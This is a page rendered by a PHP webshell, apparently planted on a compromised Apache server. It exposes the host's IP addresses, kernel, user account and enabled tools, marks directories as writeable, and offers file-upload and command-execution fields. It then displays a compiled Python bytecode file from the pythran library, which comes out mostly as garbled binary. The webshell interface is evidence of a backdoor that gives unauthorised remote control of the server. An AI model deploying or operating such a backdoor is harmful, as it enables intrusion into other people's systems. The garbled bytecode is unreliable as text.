403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/pythran/analyses/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/pythran/analyses/__pycache__/locals_analysis.cpython-311.pyc
�

cR�ag��F�dZddlmZddlmZddlZGd�de��ZdS)z'
Locals computes the value of locals()
�)�ModuleAnalysisNc���eZdZdZ�fd�Z�fd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
eZeZeZeZeZeZeZeZeZeZeZeZeZ�xZS)�Localsa�
    Statically compute the value of locals() before each statement

    Yields a dictionary binding every node to the set of variable names defined
    *before* this node.

    Following snippet illustrates its behavior:
    >>> import gast as ast
    >>> from pythran import passmanager
    >>> pm = passmanager.PassManager('test')
    >>> code = '''
    ... def b(n):
    ...     m = n + 1
    ...     def b(n):
    ...         return n + 1
    ...     return b(m)'''
    >>> tree = ast.parse(code)
    >>> l = pm.gather(Locals, tree)
    >>> sorted(l[tree.body[0].body[0]])
    ['n']
    >>> sorted(l[tree.body[0].body[1]])
    ['b', 'm', 'n']
    c���t��|_t��|_d|_tt|�����dS)Nr)�dict�result�set�locals�nesting�superr�__init__)�self�	__class__s ��B/usr/lib/python3/dist-packages/pythran/analyses/locals_analysis.pyr
zLocals.__init__$sB����f�f����e�e������
�f�d���$�$�&�&�&�&�&�c���tt|���|��||jvr|j|j|j|<dSdS�N)rr�
generic_visitr�expr_parent)r�noders  �rrzLocals.generic_visit*sR���
�f�d���)�)�$�/�/�/��t�{�"�"� $��D�,<� =�D�K�����#�"rc��||_|j���|j|<|�|��dSr)rr
�copyrr�rrs  r�store_and_visitzLocals.store_and_visit/s>����� �K�,�,�.�.���D�����4� � � � � rc�\�||_|j|j|<|�|��dSr)rr
rrrs  r�visit_ModulezLocals.visit_Module4s2����� �K���D�����4� � � � � rc��|jr|j�|j��|xjdz
c_||_|j���|j|<|j���}|jjD]}|�	|���|jjD]#}|j
r|�	|j
���$|jr|�	|j��|j�d�|jjD����|j
D]}|�	|���||_|xjdzc_dS)N�c3�$K�|]}|jV��dSr)�id)�.0�args  r�	<genexpr>z+Locals.visit_FunctionDef.<locals>.<genexpr>Hs$����<�<�c�3�6�<�<�<�<�<�<r)rr
�add�namerrr�args�defaults�visit�
annotation�returns�update�body)rr�
parent_locals�defaultr"�stmts      r�visit_FunctionDefzLocals.visit_FunctionDef9sJ���<�	'��K�O�O�D�I�&�&�&����������� �K�,�,�.�.���D����(�(�*�*�
��y�)�	 �	 �G��J�J�w������9�>�	+�	+�C��~�
+��
�
�3�>�*�*�*���<�	%��J�J�t�|�$�$�$�����<�<�T�Y�^�<�<�<�<�<�<��I�	�	�D��J�J�t�����#�����������rc�D�||_|j���|j|<t	j||��|�|j��|j�d�|jD����|jD]}|�|���dS)Nc3�XK�|]%}t|tj���|jV��&dSr)�
isinstance�ast�Namer )r!�ts  rr#z&Locals.visit_Assign.<locals>.<genexpr>SsH����7�7�A�(��C�H�5�5�7�1�4�7�7�7�7�7�7r)	rr
rr�mdr(�valuer+�targets)rr�targets   r�visit_AssignzLocals.visit_AssignNs������ �K�,�,�.�.���D��
���t�����
�
�4�:��������7�7���7�7�7�	7�	7�	7��l�	�	�F��J�J�v�����	�	rc�x�||_|j���|j|<t	j||��|�|j��|j�|jj	��|j
D]}|�|���|jD]}|�|���dSr)rr
rrr7r(�iterr$r:r r,�orelse�rrr/s   r�	visit_ForzLocals.visit_ForXs������ �K�,�,�.�.���D��
���t�����
�
�4�9�����������'�'�'��I�	�	�D��J�J�t������K�	�	�D��J�J�t�����	�	rc��|j���|j|<|j�d�|jD����dS)Nc3�$K�|]}|jV��dSr�r%�r!�aliass  rr#z&Locals.visit_Import.<locals>.<genexpr>e�$����>�>�%�5�:�>�>�>�>�>�>r�r
rrr+�namesrs  r�visit_ImportzLocals.visit_Importc�I�� �K�,�,�.�.���D������>�>�4�:�>�>�>�>�>�>�>�>rc��|j���|j|<|j�d�|jD����dS)Nc3�$K�|]}|jV��dSrrCrDs  rr#z*Locals.visit_ImportFrom.<locals>.<genexpr>irFrrGrs  r�visit_ImportFromzLocals.visit_ImportFromgrJrc�,�||_|j���|j|<|jr$|j�|jj��|jo|�|j��|j	D]}|�|���dSr)
rr
rrr%r$r �typer(r,r?s   r�visit_ExceptHandlerzLocals.visit_ExceptHandlerks������ �K�,�,�.�.���D���9�	*��K�O�O�D�I�L�)�)�)��	�+�d�j�j���+�+���I�	�	�D��J�J�t�����	�	r)�__name__�
__module__�__qualname__�__doc__r
rrrr0r;r@rIrMrP�visit_Return�visit_Yield�	visit_Try�visit_AugAssign�visit_Print�visit_While�visit_If�visit_Raise�visit_Assert�
visit_Expr�
visit_Pass�visit_Break�visit_Continue�
__classcell__)rs@rrrs
���������0'�'�'�'�'�>�>�>�>�>�
!�!�!�
!�!�!�
���*���	�	�	�?�?�?�?�?�?����#�L�!�K��I�%�O�!�K�!�K��H�!�K�"�L� �J� �J�!�K�$�N�N�N�N�Nrr)	rT�pythran.passmanagerr�pythran.metadata�metadatar7�gastr4r�rr�<module>rhs����/�.�.�.�.�.�����������v%�v%�v%�v%�v%�^�v%�v%�v%�v%�v%r

Youez - 2016 - github.com/yon3zu
LinuXploit